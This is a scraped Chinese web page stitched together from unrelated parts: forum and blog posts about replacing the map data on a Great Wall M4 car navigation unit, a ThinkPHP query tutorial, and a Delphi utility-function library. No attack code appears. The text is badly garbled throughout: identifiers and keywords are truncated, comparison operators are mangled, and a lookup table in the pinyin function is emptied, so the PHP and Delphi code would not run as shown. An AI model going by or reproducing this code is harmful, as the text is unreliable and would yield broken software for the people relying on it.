mapchecker lolmap8是什么地图图

长城M4里面的地图带有chinamap如何换凯立德地图|GPS问题讨论及求助区 - 我爱GPS论坛 做中国最好的GPS论坛
- Powered by phpwind
查看完整版本: [--
长城M4里面的地图带有chinamap如何换凯立德地图
长城M4里面的地图带有chinamap如何换凯立德地图[attachment=39385][attachment=39386]
恐怕关键是找到启动文件。
要用到引导文静件
我最后是在这里解决这个问题的,你看下
:我最后是在这里解决这个问题的,你看下/daohang/kailidemap.html[表情] &( 23:24)&发你解决的文件给我看啊。
这个貌似不是长城M4的原装一体机
xuexixueix
找引导文件。折腾错了。
MapChecker.exe &&&&
查看完整版本: [--
Powered by
Time 0.106316 second(s),query:2 Gzip enabled14款长城M4原车导航升级思路
&本人于今年11月15日购买的M4。在购买之前就知道原车导航垃圾,想着买个标版就好了,自己再装导航什么的。可领导们一眼就看上了大屏,所以,只能这样了。
本人在购买后,对原车的导航进行了分析。14款导航使用的是四维图新的地图,时间应该是13年年初或12年年末(其官网上的最新更新时间是13年初)。而且,在导航程序每次启动时,还会对地图进行检测。看下图。
就是那个MapChecker.exe程序。
因此,除非刷固件,没有别的方法改地图。&
但是,办法都是人想的。再次上图。
看到那三个文件超过1G的文件没,就是idxdat.nish,mapdat.nish和rpedat.nish文件,这三个文件就是导航的地图文件。如果能升级这三个文件,也就升级了地图。只不过用的还是原来的程序。如果把cameradat.nish文件也升级了,那就是把摄像头的位置也更新了。
看到这里,可能有坛友会说,就是把这几个文件更新下就好了吗。如果真这么简单,为什么没有商家做呢?
那是因为,每个地图厂家制作的地图都不是一个格式的。而要把地图格式从一家切换到另一家,不但需要多个技术工种,还需要时间和成本。
因此,本人希望得到有下列技能的车友的帮助。
1、接触或制作过导航软件的,或者是制作过电子地图的。这里指的不是刷固件修改的朋友,而是有软件经验的。
2、数据结构。学过计算机的都知道这是做什么的。
3、数据库编程。用过mysql或sqlite。
4、测试人员。
需要说明的是,本人这么做,纯粹是因为厂家不提供地图的升级,而且本人也购买了M4。
这也就是说,做这件事情是没有报酬的,不管是我还是帮助我的朋友。
最终,如果这个方案是可行的,程序也是可以正确运行的,我将把成品免费提供给大家。
【改车迷俱乐部】
购买请点击右侧推荐产品,或到购买,M4改装交流QQ群
长城M4汽车改装用品推荐
猜你喜欢的:
M4汽车改装产品推荐
推荐文档 &&& 搜索&&nbsp
凡是本网(改车迷-M4改装网)注明来源:“改车迷”的所有文字、图片和音视频稿件,版权均属改车迷网站所有,未经允许不得转载.
本站部分信息来源于网络,如有侵犯到您的权利,请及时通知我们,我们将会在第一时间删除相关信息! 投稿、投诉请将内容发送至邮箱
本网未注明“原作者”的文/图等稿件均为转载稿,本网转载出于传递更多信息之目的,并不代表本网故意侵犯原作者或出版人的版权和利益。
&&&&&&&&&&&&&&&有时由于特殊的原因,比如作者姓名或出处在转载之前已经丢失,或者未能及时与作者取得联系等,因而可能没有注明作者的姓名或出处,敬请谅解。ThinkPHP提供强大的数据查询功能,很多查询操作函数在系统中已经内置有了,不需要手动连接数据库,只需要作一下简单的数据连接配置,直接数组参数方式配置和DSN参数进行连接数据库,所有操作都是傻瓜式的,很方便,呵呵,以下内容来源于《ThinkPHP开发指南》。1、普通查询&$condition = new HashMap();&//& 查询 name 为 thinkphp& 的记录$condition‐&put('name','thinkphp');&//& 使用数组作为查询条件&$condition = Array();&$condition['name'] = 'thinkphp';&使用 Map 方式查询和使用数组查询的效果是相同的,并且是可以互换的。&2、条件查询&在查询条件里面,如果仅仅使用&$map‐&put(&name&,&thinkphp&);&查询条件应该是& name = &thinkphp&&如果需要进行其它方式的条件判断,可以使用&$map‐&put(&name&,array(&like&,&thinkphp%&));&这样,查询条件就变成& name like &thinkphp%&&$map‐&put(&id&,array(&gt&,100));&查询条件& id & 100&$map‐&put(&id&,array(&in&,&1,3,8&));&//& 或者使用数组范围$map‐&put(&id&,array(&in&,array(1,3,8)));&上面表示的查询条件都是& id in (1,3,8)&支持的查询表达式有EQ |NEQ |GT|EGT|LT |ELT |LIKE|BETWEEN|IN|NOT IN&3、区间查询&ThinkPHP 支持对某个字段的区间查询,例如:&$map‐&put('id',array(1,10)); // id &=1 and id&=10&$map‐&put('id',array('10','3','or')); //id &= 10 or id &=3&$map‐&put('id',array(array('neq',6),array('gt',3),'and')); // id != 6 and id & 3&4、组合查询&如果进行多字段查询,那么字段之间的逻辑关系是 逻辑与& AND,但是用下面的规则可以更改默认的&逻辑判断,例如下面的查询条件:&$map‐&put('id',array('neq',1));&$map‐&put('name','ok');&// 现在的条件是 id !=1 and name like '%ok%'&$map‐&put('_logic','or');&// 现在的条件变为 id !=1 or name like '%ok%'&5、多字段查询&ThinkPHP还支持直接对进行多字段查询的方法, 可以简化查询表达式和完成最复杂的查询方法, 例如:&$map‐&put('id,name,title',array(array('neq',1),array('like','aaa'),array('like','bbb'),&or&));&查询条件是& ( id != 1) OR ( name like &aaa&) OR ( title like &%bbb%&)&如果结合上面的几种方式,我们可以写出下面更加复杂的查询条件&$map‐&put(&id&,array(&NOT IN&,&1,6,9&));&$map‐&put(&name,email&,array(array(&like&,&thinkphp&),array(&like&,&liu21st&),&or&));&以上查询条件变成:( id NOT IN(1,6,9) ) AND ( ( name like &aaa&) OR ( title like &%bbb%&) )&6、查询缓存&ThinkPHP 内建查询缓存支持,可以包括对 SQL 查询缓存、数据对象缓存的缓存支持。对于同一个数据对象的多次查询并不会导致多次数据库的查询开销,系统内置会进行缓存判断。&7、统计查询&在应用中我们经常会用到一些统计数据,例如当前所有(或者满足某些条件)的用户数、所有用户的最大积分、用户的平均成绩等等,ThinkPHP 为这些统计操作提供了一系列的内置方法。&& //& 获取用户数&& $userCount = $User‐&count();&& //& 获取用户的最大积分&& $maxScore = $User‐&max(&score&);&& //& 获取积分大于 0& 的用户的最小积分&& $minScore = $User‐&min(&score&,&score&0&);&& //& 获取用户的平均积分&& $avgScore = $User‐&avg(&score&);&& //& 统计用户的总成绩&& $sumScore = $User‐&sum(&score&);&8、定位查询&ThinkPHP 支持定位查询,可以使用getN 方法直接返回查询结果中的某个位置的记录。例如:&& //& 返回符合条件的第 2 条记录& $User‐&getN(2,&score&80&,&score desc&);&& 还可以获取最后第二条记录&& $User‐&getN(‐2,&score&80&,&score desc&);&& 如果要查询第一条记录,还可以使用&& $User‐&first(&score&80&,&score desc&);& //& 获取最后一条记录&& $User‐&last(&score&80&,&score desc&);&& //& 获取积分最高的前 5 条记录&& $User‐&top(5,&&,&score desc&);&9、动态查询&借助& PHP5 语言的特性,ThinkPHP 实现了动态查询。该查询方式针对数据表的字段进行查询。例如,User 对象拥有 id,name,email,address& 等属性,那么我们就可以使用下面的查询方法来直接根据某个属性来查询符号条件的记录。&& $user = $User‐&getByName(&liu21st&);&& 上面的查询会转化为$User‐&getBy(&name&,&liu21st&)的查询语言来执行&& $user = $User‐&getByEmail();& $user = $User‐&getByAddress(&中国深圳&);&& 暂时不支持多数据字段的动态查询方法,请使用 find 方法和 findAll 方法进行查询。&& ThinkPHP 还提供了另外一种动态查询方式,就是获取符合条件的前 N 条记录&& 例如,我们需要获取当前用户中积分大于 0,积分最高的前 5 位用户& $User‐&top5(&score&0&,&*&,&score desc&);&& 而在另外一个频道,我们需要获取点击最多的前 10 位主播&& $Master‐&top10(&&,&*&,&visit desc&);&10、SQL 查询&ThinkPHP 支持原生的 SQL 查询,在某些特殊的情况下可以满足应用的需要。 SQL 查询的返回值因为是直接返回的 Db 类的查询结果,没有做任何的处理,所以永远是返回的数据集对象或者惰性数据查询对象。而且可以支持查询缓存、延迟加载和事务锁 (悲观锁)。&SQL 查询使用 query 方法&$list = $User‐&query(&select id,name from think_user&);如果没有使用延迟加载,返回结果是&& ArrayObject& 对象,如果启用了延迟加载,那么返回的是ResultIterator 对象。&11、事务支持&ThinkPHP 提供了单数据库的事务支持,如果要在应用逻辑中使用事务,可以参考下面的方法:&//& 启动事务&$User‐&startTrans()&//& 提交事务&$User‐&commit()&//& 事务回滚&$User‐&rollback();&在有些对多个数据的批量操作中,已经内建了事务支持。&
at March 13, 2008. by 傻猫 . &&nbsp Views: 11536 &&nbsp
&Delphi常用的函数库,引用作者的话&今天在整理以前写过的代码,发现有些函数还是挺实用的,决定将其贴到Blog上,与众多好友一起分享。&源文地址:{******************************************************************************** 模块名称: 公用函数库* 编写人员: Chris Mao* 编写日期: ******************************************************************************}unit JrCinterfaceusesWindows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,ShellAPI, CommDlg, MMSystem, StdCtrls, Registry, JrConsts, W//------------------------------------------------------------------------------//窗体类函数//------------------------------------------------------------------------------function FindFormClass(FormClassName: PChar): TFormCfunction HasInstance(FormClassName: PChar): B//------------------------------------------------------------------------------//公用对话框函数//------------------------------------------------------------------------------procedure InfoDlg(const Msg: S ACaption: String = SInformation);{ 信息对话框 }procedure ErrorDlg(const Msg: S ACaption: String = SError);{ 错误对话框 }procedure WarningDlg(const Msg: S ACaption: String = SWarning);{ 警告对话框 }function QueryDlg(const Msg: S ACaption: String = SQuery): B{ 确认对话框 }function QueryNoDlg(const Msg: ACaption: string = SQuery): B{ 确认对话框,默认按钮为&否& }function JrInputQuery(const ACaption, APrompt: S var Value: string): B{ 输入对话框 }function JrInputBox(const ACaption, APrompt, ADefault: string): S{ 输入对话框 }//------------------------------------------------------------------------------//扩展文件目录操作函数//------------------------------------------------------------------------------procedure RunFile(const FileName: S Handle: THandle = 0; Param: string = '');{ 运行一个文件 }function AppPath:{ 应用程序路径 }function GetProgramFilesDir:{ 取Program Files目录 }function GetWindowsDir:{ 取Windows目录}function GetWindowsTempPath:{ 取临时文件路径 }function GetSystemDir:{ 取系统目录 }//------------------------------------------------------------------------------//扩展字符串操作函数//------------------------------------------------------------------------------function InStr(const sShort: const sLong: string): B{ 判断s1是否包含在s2中 }function IntToStrSp(Value: I SpLen: Integer = 3; Sp: Char = ','):{ 带分隔符的整数-字符转换 }function ByteToBin(Value: Byte):{ 字节转二进制串 }function StrRight(Str: Len: Integer):{ 返回字符串右边的字符 }function StrLeft(Str: Len: Integer):{ 返回字符串左边的字符 }function Spc(Len: Integer):{ 返回空格串 }procedure SwapStr(var s1, s2: string);{ 交换字串 }//------------------------------------------------------------------------------// 扩展日期时间操作函数//------------------------------------------------------------------------------function GetYear(Date: TDate): W{ 取日期年份分量 }function GetMonth(Date: TDate): W{ 取日期月份分量 }function GetDay(Date: TDate): W{ 取日期天数分量 }function GetHour(Time: TTime): W{ 取时间小时分量 }function GetMinute(Time: TTime): W{ 取时间分钟分量 }function GetSecond(Time: TTime): W{ 取时间秒分量 }function GetMSecond(Time: TTime): W{ 取时间毫秒分量 }//------------------------------------------------------------------------------// 位操作函数//------------------------------------------------------------------------------typeTByteBit = 0..7; // Byte类型位数范围TWordBit = 0..15; // Word类型位数范围TDWordBit = 0..31; // DWord类型位数范围procedure SetBit(var Value: B Bit: TByteB IsSet: Boolean);{ 设置二进制位 }procedure SetBit(var Value: WORD; Bit: TWordB IsSet: Boolean);{ 设置二进制位 }procedure SetBit(var Value: DWORD; Bit: TDWordB IsSet: Boolean);{ 设置二进制位 }function GetBit(Value: B Bit: TByteBit): B{ 取二进制位 }function GetBit(Value: WORD; Bit: TWordBit): B{ 取二进制位 }function GetBit(Value: DWORD; Bit: TDWordBit): B{ 取二进制位 }//------------------------------------------------------------------------------// 系统功能函数//------------------------------------------------------------------------------procedure ChangeFocus(Handle: TH Forword: Boolean = False);{ 改变焦点 }procedure MoveMouseIntoControl(AWinControl: TControl);{ 移动鼠标到控件 }procedure AddComboBoxTextToItems(ComboBox: TComboB MaxItemsCount: Integer = 10);{ 将 ComboBox 的文本内容增加到下拉列表中 }function DynamicResolution(x, y: WORD): B{ 动态设置分辨率 }procedure StayOnTop(Handle: HWND; OnTop: Boolean);{ 窗口最上方显示 }procedure SetHidden(Hide: Boolean);{ 设置程序是否出现在任务栏 }procedure SetTaskBarVisible(Visible: Boolean);{ 设置任务栏是否可见 }procedure SetDesktopVisible(Visible: Boolean);{ 设置桌面是否可见 }function GetWorkRect: TR{ 取桌面区域 }procedure BeginW{ 显示等待光标 }procedure EndW{ 结束等待光标 }function CheckWindows9598: B{ 检测是否Win95/98平台 }function GetOSString:{ 返回操作系统标识串 }function GetComputeNameStr :{ 得到本机名 }function GetLocalUserName:{ 得到本机用户名 }function GetLocalIP: S{ 得到本机IP地址 }//------------------------------------------------------------------------------// 其它过程//------------------------------------------------------------------------------function TrimInt(Value, Min, Max: Integer): I{ 输出限制在Min..Max之间 }function InBound(Value: I Min, Max: Integer): B{ 判断整数Value是否在Min和Max之间 }procedure Delay(const uDelay: DWORD);{ 延时 }procedure BeepEx(const Freq: WORD = 1200; const Delay: WORD = 1);{ 在Win9X下让喇叭发声 }function GetHzPy(const AHzStr: string):{ 取汉字的拼音 }function UpperCaseMoney(const Money: Double): S{ 转换为大与金额 }function SoundCardExist: B{ 声卡是否存在 }implementation//------------------------------------------------------------------------------//窗体类函数//------------------------------------------------------------------------------function FindFormClass(FormClassName: PChar): TFormCbeginResult := TFormClass(GetClass(FormClassName));function HasInstance(FormClassName: PChar): Bvari:beginResult:=Ffor i := Screen.FormCount - 1 downto 0 do beginResult := SameText(Screen.Forms[i].ClassName, FormClassName);if Result then beginTForm(Screen.Forms[i]).BringToFB//------------------------------------------------------------------------------//公用对话框函数//------------------------------------------------------------------------------procedure InfoDlg(const Msg: S ACaption: String = SInformation);beginApplication.MessageBox(PChar(Msg), PChar(ACaption), MB_OK + MB_ICONINFORMATION);procedure ErrorDlg(const Msg: S ACaption: String = SError);beginApplication.MessageBox(PChar(Msg), PChar(ACaption), MB_OK + MB_ICONERROR);procedure WarningDlg(const Msg: S ACaption: String = SWarning);beginApplication.MessageBox(PChar(Msg), PChar(ACaption), MB_OK + MB_ICONWARNING);function QueryDlg(const Msg: S ACaption: String = SQuery): BbeginResult := Application.MessageBox(PChar(Msg), PChar(ACaption),MB_YESNO + MB_ICONQUESTION) = IDYES;function QueryNoDlg(const Msg: ACaption: string = SQuery): BbeginResult := Application.MessageBox(PChar(Msg), PChar(ACaption),MB_YESNO + MB_ICONQUESTION + MB_DEFBUTTON2) = IDYES;function GetAveCharSize(Canvas: TCanvas): TPvarI: IBuffer: array[0..51] of Cbeginfor I := 0 to 25 do Buffer[I] := Chr(I + Ord('A'));for I := 0 to 25 do Buffer[I + 26] := Chr(I + Ord('a'));GetTextExtentPoint(Canvas.Handle, Buffer, 52, TSize(Result));Result.X := Result.X div 52;function JrInputQuery(const ACaption, APrompt: S var Value: string): BvarForm: TFPrompt: TLEdit: TEDialogUnits: TPButtonTop, ButtonWidth, ButtonHeight: IbeginResult := FForm := TForm.Create(Application);with Form dotryScaled := FFont.Name := SDefaultFontNFont.Size := SDefaultFontSFont.Charset := SDefaultFontCCanvas.Font := FDialogUnits := GetAveCharSize(Canvas);BorderStyle := bsDCaption := ACClientWidth := MulDiv(180, DialogUnits.X, 4);ClientHeight := MulDiv(63, DialogUnits.Y, 8);Position := poScreenCPrompt := TLabel.Create(Form);with Prompt dobeginParent := FAutoSize := TLeft := MulDiv(8, DialogUnits.X, 4);Top := MulDiv(8, DialogUnits.Y, 8);Caption := APEdit := TEdit.Create(Form);with Edit dobeginParent := FLeft := Prompt.LTop := MulDiv(19, DialogUnits.Y, 8);Width := MulDiv(164, DialogUnits.X, 4);MaxLength := 255;Text := VSelectAButtonTop := MulDiv(41, DialogUnits.Y, 8);ButtonWidth := MulDiv(50, DialogUnits.X, 4);ButtonHeight := MulDiv(14, DialogUnits.Y, 8);with TButton.Create(Form) dobeginParent := FCaption := SMsgDlgOK;ModalResult := mrOk;Default := TSetBounds(MulDiv(38, DialogUnits.X, 4), ButtonTop, ButtonWidth,ButtonHeight);with TButton.Create(Form) dobeginParent := FCaption := SMsgDlgCModalResult := mrCCancel := TSetBounds(MulDiv(92, DialogUnits.X, 4), ButtonTop, ButtonWidth,ButtonHeight);if ShowModal = mrOk thenbeginValue := Edit.TResult := TfinallyForm.Ffunction JrInputBox(const ACaption, APrompt, ADefault: string): SbeginResult := ADJrInputQuery(ACaption, APrompt, Result);//------------------------------------------------------------------------------//扩展文件目录操作函数//------------------------------------------------------------------------------procedure RunFile(const FileName: S Handle: THandle = 0; Param: string = '');beginShellExecute(Handle, nil, PChar(FileName), PChar(Param), nil, SW_SHOWNORMAL);function AppPath:beginResult := ExtractFilePath(Application.ExeName);constHKLM_CURRENT_VERSION_WINDOWS = 'SoftwareMicrosoftWindowsCurrentVersion';function RelativeKey(const Key: string): PCbeginResult := PChar(Key);if (Key && '') and (Key[1] = '') thenInc(Result);function RegReadStringDef(const RootKey: HKEY; const Key, Name, Def: string):varRegKey: HKEY;Size: DWORD;StrVal:RegKind: DWORD;beginResult := Dif RegOpenKeyEx(RootKey, RelativeKey(Key), 0, KEY_READ, RegKey) = ERROR_SUCCESS thenbeginRegKind := 0;Size := 0;if RegQueryValueEx(RegKey, PChar(Name), nil, @RegKind, nil, @Size) = ERROR_SUCCESS thenif RegKind in [REG_SZ, REG_EXPAND_SZ] thenbeginSetLength(StrVal, Size);if RegQueryValueEx(RegKey, PChar(Name), nil, @RegKind, PByte(StrVal), @Size) = ERROR_SUCCESS thenbeginSetLength(StrVal, StrLen(PChar(StrVal)));Result := StrVRegCloseKey(RegKey);procedure StrResetLength(var S: AnsiString);beginSetLength(S, StrLen(PChar(S)));function GetProgramFilesDir:beginResult := RegReadStringDef(HKEY_LOCAL_MACHINE, HKLM_CURRENT_VERSION_WINDOWS, 'ProgramFilesDir', '');function GetWindowsDir:varRequired: CbeginResult := '';Required := GetWindowsDirectory(nil, 0);if Required && 0 thenbeginSetLength(Result, Required);GetWindowsDirectory(PChar(Result), Required);StrResetLength(Result);function GetWindowsTempPath:varRequired: CbeginResult := '';Required := GetTempPath(0, nil);if Required && 0 thenbeginSetLength(Result, Required);GetTempPath(Required, PChar(Result));StrResetLength(Result);function GetSystemDir:varRequired: CbeginResult := '';Required := GetSystemDirectory(nil, 0);if Required && 0 thenbeginSetLength(Result, Required);GetSystemDirectory(PChar(Result), Required);StrResetLength(Result);//------------------------------------------------------------------------------//扩展字符串操作函数//------------------------------------------------------------------------------function InStr(const sShort: const sLong: string): Bvars1, s2:begins1 := LowerCase(sShort);s2 := LowerCase(sLong);Result := Pos(s1, s2) & 0;function IntToStrSp(Value: I SpLen: Integer = 3; Sp: Char = ','):vars:i, j: Ibegins := IntToStr(Value);Result := '';j := 0;for i := Length(s) downto 1 dobeginResult := s[i] + RInc(j);if ((j mod SpLen) = 0) and (i && 1) then Result := Sp + Rfunction ByteToBin(Value: Byte):constV: Byte = 1;vari: Ibeginfor i := 7 downto 0 doif (V shl i) and Value && 0 thenResult := Result + '1'elseResult := Result + '0';function StrRight(Str: Len: Integer):beginif Len &= Length(Str) thenResult := StrelseResult := Copy(Str, Length(Str) - Len + 1, Len);function StrLeft(Str: Len: Integer):beginif Len &= Length(Str) thenResult := StrelseResult := Copy(Str, 1, Len);function Spc(Len: Integer):beginSetLength(Result, Len);FillChar(PChar(Result)^, Len, ' ');procedure SwapStr(var s1, s2: string);vartempstr:begintempstr := s1;s1 := s2;s2 :=//------------------------------------------------------------------------------// 扩展日期时间操作函数//------------------------------------------------------------------------------function GetYear(Date: TDate): Wvarm, d: WORD;beginDecodeDate(Date, Result, m, d);function GetMonth(Date: TDate): Wvary, d: WORD;beginDecodeDate(Date, y, Result, d);function GetDay(Date: TDate): Wvary, m: WORD;beginDecodeDate(Date, y, m, Result);function GetHour(Time: TTime): Wvarh, m, s, ms: WORD;beginDecodeTime(Time, Result, m, s, ms);function GetMinute(Time: TTime): Wvarh, s, ms: WORD;beginDecodeTime(Time, h, Result, s, ms);function GetSecond(Time: TTime): Wvarh, m, ms: WORD;beginDecodeTime(Time, h, m, Result, ms);function GetMSecond(Time: TTime): Wvarh, m, s: WORD;beginDecodeTime(Time, h, m, s, Result);//------------------------------------------------------------------------------// 位操作函数//------------------------------------------------------------------------------procedure SetBit(var Value: B Bit: TByteB IsSet: Boolean);beginif IsSet thenValue := Value or (1 shl Bit) elseValue := Value and not(1 shl Bit);procedure SetBit(var Value: WORD; Bit: TWordB IsSet: Boolean);beginif IsSet thenValue := Value or (1 shl Bit) elseValue := Value and not(1 shl Bit);procedure SetBit(var Value: DWORD; Bit: TDWordB IsSet: Boolean);beginif IsSet thenValue := Value or (1 shl Bit) elseValue := Value and not(1 shl Bit);function GetBit(Value: B Bit: TByteBit): BbeginResult := Value and (1 shl Bit) && 0;function GetBit(Value: WORD; Bit: TWordBit): BbeginResult := Value and (1 shl Bit) && 0;function GetBit(Value: DWORD; Bit: TDWordBit): BbeginResult := Value and (1 shl Bit) && 0;//------------------------------------------------------------------------------// 系统功能函数//------------------------------------------------------------------------------procedure ChangeFocus(Handle: TH Forword: Boolean = False);beginif ForWord thenPostMessage(Handle, WM_NEXTDLGCTL, 1, 0)elsePostMessage(Handle, WM_NEXTDLGCTL, 0, 0);procedure MoveMouseIntoControl(AWinControl: TControl);varrtControl: TRbeginrtControl := AWinControl.BoundsRMapWindowPoints(AWinControl.Parent.Handle, 0, rtControl, 2);SetCursorPos(rtControl.Left + (rtControl.Right - rtControl.Left) div 2,rtControl.Top + (rtControl.Bottom - rtControl.Top) div 2);procedure AddComboBoxTextToItems(ComboBox: TComboB MaxItemsCount: Integer = 10);beginif (ComboBox.Text && '') and (ComboBox.Items.IndexOf(ComboBox.Text) & 0) thenbeginComboBox.Items.Insert(0, ComboBox.Text);while (MaxItemsCount & 1) and (ComboBox.Items.Count & MaxItemsCount) doComboBox.Items.Delete(ComboBox.Items.Count - 1);function DynamicResolution(x, y: WORD): BvarlpDevMode: TDeviceMbeginResult := EnumDisplaySettings(nil, 0, lpDevMode);if Result thenbeginlpDevMode.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;lpDevMode.dmPelsWidth :=lpDevMode.dmPelsHeight :=Result := ChangeDisplaySettings(lpDevMode, 0) = DISP_CHANGE_SUCCESSFUL;procedure StayOnTop(Handle: HWND; OnTop: Boolean);constcsOnTop: array[Boolean] of HWND = (HWND_NOTOPMOST, HWND_TOPMOST);beginSetWindowPos(Handle, csOnTop[OnTop], 0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE);varWndLong: Iprocedure SetHidden(Hide: Boolean);beginShowWindow(Application.Handle, SW_HIDE);if Hide thenSetWindowLong(Application.Handle, GWL_EXSTYLE,WndLong or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW or WS_EX_TOPMOST)elseSetWindowLong(Application.Handle, GWL_EXSTYLE, WndLong);ShowWindow(Application.Handle, SW_SHOW);constcsWndShowFlag: array[Boolean] of DWORD = (SW_HIDE, SW_RESTORE);procedure SetTaskBarVisible(Visible: Boolean);varwndHandle: THbeginwndHandle := FindWindow('Shell_TrayWnd', nil);ShowWindow(wndHandle, csWndShowFlag[Visible]);procedure SetDesktopVisible(Visible: Boolean);varhDesktop: THbeginhDesktop := FindWindow('Progman', nil);ShowWindow(hDesktop, csWndShowFlag[Visible]);function GetWorkRect: TRbeginSystemParametersInfo(SPI_GETWORKAREA, 0, @Result, 0)procedure BeginWbeginScreen.Cursor := crHourGprocedure EndWbeginScreen.Cursor := crDfunction CheckWindows9598: BvarV: TOSVersionIbeginV.dwOSVersionInfoSize := SizeOf(V);Result := Fif not GetVersionEx(V) then Eif V.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS thenResult := Tfunction GetOSString:varOSPlatform:BuildNumber: IbeginResult := 'Unknown Windows Version';OSPlatform := 'Windows';BuildNumber := 0;case Win32Platform ofVER_PLATFORM_WIN32_WINDOWS:beginBuildNumber := Win32BuildNumber and $0000FFFF;case Win32MinorVersion of0..9:beginif Trim(Win32CSDVersion) = 'B' thenOSPlatform := 'Windows 95 OSR2'elseOSPlatform := 'Windows 95';10..89:beginif Trim(Win32CSDVersion) = 'A' thenOSPlatform := 'Windows 98'elseOSPlatform := 'Windows 98 SE';90:OSPlatform := 'Windows Millennium';VER_PLATFORM_WIN32_NT:beginif Win32MajorVersion in [3, 4] thenOSPlatform := 'Windows NT'else if Win32MajorVersion = 5 thenbegincase Win32MinorVersion of0: OSPlatform := 'Windows 2000';1: OSPlatform := 'Windows XP';BuildNumber := Win32BuildNVER_PLATFORM_WIN32s:beginOSPlatform := 'Win32s';BuildNumber := Win32BuildNif (Win32Platform = VER_PLATFORM_WIN32_WINDOWS) or(Win32Platform = VER_PLATFORM_WIN32_NT) thenbeginif Trim(Win32CSDVersion) = '' thenResult := Format('%s %d.%d (Build %d)', [OSPlatform, Win32MajorVersion,Win32MinorVersion, BuildNumber])elseResult := Format('%s %d.%d (Build %d: %s)', [OSPlatform, Win32MajorVersion,Win32MinorVersion, BuildNumber, Win32CSDVersion]);endelseResult := Format('%s %d.%d', [OSPlatform, Win32MajorVersion, Win32MinorVersion])function GetComputeNameStr :vardwBuff : DWORD;CmpName : array [0..255] of CbeginResult := '';dwBuff := 256;FillChar(CmpName, SizeOf(CmpName), 0);if GetComputerName(CmpName, dwBuff) thenResult := StrPas(CmpName);function GetLocalUserName:varCount: DWORD;beginCount := 256 + 1; // UNLEN + 1// set buffer size to 256 + 2 charactersSetLength(Result, Count);if GetUserName(PChar(Result), Count) thenStrResetLength(Result)elseResult := '';function GetLocalIP: StypeTaPInAddr = array [0..10] of PInAPaPInAddr = ^TaPInAvarphe : PHostEpptr : PaPInABuffer : array [0..63]I : IGInitData : TWSADATA;beginWSAStartup($101, GInitData);Result := '';GetHostName(Buffer, SizeOf(Buffer));phe :=GetHostByName(buffer);if phe = nil then Epptr := PaPInAddr(Phe^.h_addr_list);I := 0;while pptr^[I] && nil do beginresult:=StrPas(inet_ntoa(pptr^[I]^));Inc(I);WSAC//------------------------------------------------------------------------------// 其它过程//------------------------------------------------------------------------------function TrimInt(Value, Min, Max: Integer): Ibeginif Value & Max thenResult := Maxelse if Value & Min thenResult := MinelseResult := Vfunction InBound(Value: I Min, Max: Integer): BbeginResult := (Value &= Min) and (Value &= Max);procedure Delay(const uDelay: DWORD);varn: DWORD;beginn := GetTickCwhile ((GetTickCount - n) &= uDelay) doApplication.ProcessMprocedure BeepEx(const Freq: WORD = 1200; const Delay: WORD = 1);constFREQ_SCALE = $1193180;varTemp: WORD;beginTemp := FREQ_SCALE div Fasmin al,61h;or al,3;out 61h,mov al,$b6;out 43h,mov ax,out 42h,mov al,out 42h,Sleep(Delay);asmin al,$61;and al,$out $61,function GetHzPy(const AHzStr: string):constChinaCode: array[0..25, 0..1] of Integer = ((), (), (),(), (), (), (), (), (),(), (), (), (), (), (),(), (), (), (), (), (),(), (), (), (), ());vari, j, HzOrd: Ibegini := 1;while i &= Length(AHzStr) dobeginif (AHzStr[i] &= #160) and (AHzStr[i + 1] &= #160) thenbeginHzOrd := (Ord(AHzStr[i]) - 160) * 100 + Ord(AHzStr[i + 1]) - 160;for j := 0 to 25 dobeginif (HzOrd &= ChinaCode[j][0]) and (HzOrd &= ChinaCode[j][1]) thenbeginResult := Result + Char(Byte('A') + j);BInc(i);end else Result := Result + AHzStr[i];Inc(i);function UpperCaseMoney(const Money: Double): Svartmp1,rr :l,i,j,k:r: Dconstn1: array[0..9] of string = ('零', '壹', '贰', '叁', '肆','伍', '陆', '柒', '捌', '玖');n2: array[0..3] of string = ('', '拾' ,'佰', '仟');n3: array[0..2] of string = ('元', '万', '亿');beginr:=Mtmp1:=FormatFloat('#.00',r);l:=length(tmp1);rr:='';if strtoint(tmp1[l])&&0 then beginrr:='分';rr:=n1[strtoint(tmp1[l])]+if strtoint(tmp1[l-1])&&0 then beginrr:='角'+rr:=n1[strtoint(tmp1[l-1])]+i:=l-3;j:=0;k:=0;while i&0 do beginif j mod 4=0 then beginrr:=n3[k]+inc(k);if k&2 then k:=1;j:=0;if strtoint(tmp1[i])&&0 thenrr:=n2[j]+rr:=n1[strtoint(tmp1[i])]+inc(j);dec(i);while pos('零零',rr)&0 dorr:= stringreplace(rr,'零零','零',[rfReplaceAll]);rr:=stringreplace(rr,'零亿','亿零',[rfReplaceAll]);while pos('零零',rr)&0 dorr:= stringreplace(rr,'零零','零',[rfReplaceAll]);rr:=stringreplace(rr,'零万','万零',[rfReplaceAll]);while pos('零零',rr)&0 dorr:= stringreplace(rr,'零零','零',[rfReplaceAll]);rr:=stringreplace(rr,'零元','元零',[rfReplaceAll]);while pos('零零',rr)&0 dorr:= stringreplace(rr,'零零','零',[rfReplaceAll]);rr:=stringreplace(rr,'亿万','亿',[rfReplaceAll]);if copy(rr,length(rr)-1,2)='零' thenrr:=copy(rr,1,length(rr)-2);result:=function SoundCardExist: BbeginResult := WaveOutGetNumDevs & 0;initializationWndLong := GetWindowLong(Application.Handle, GWL_EXSTYLE);end.
at March 11, 2008. by 傻猫 . &&nbsp Views: 4680 &&nbsp
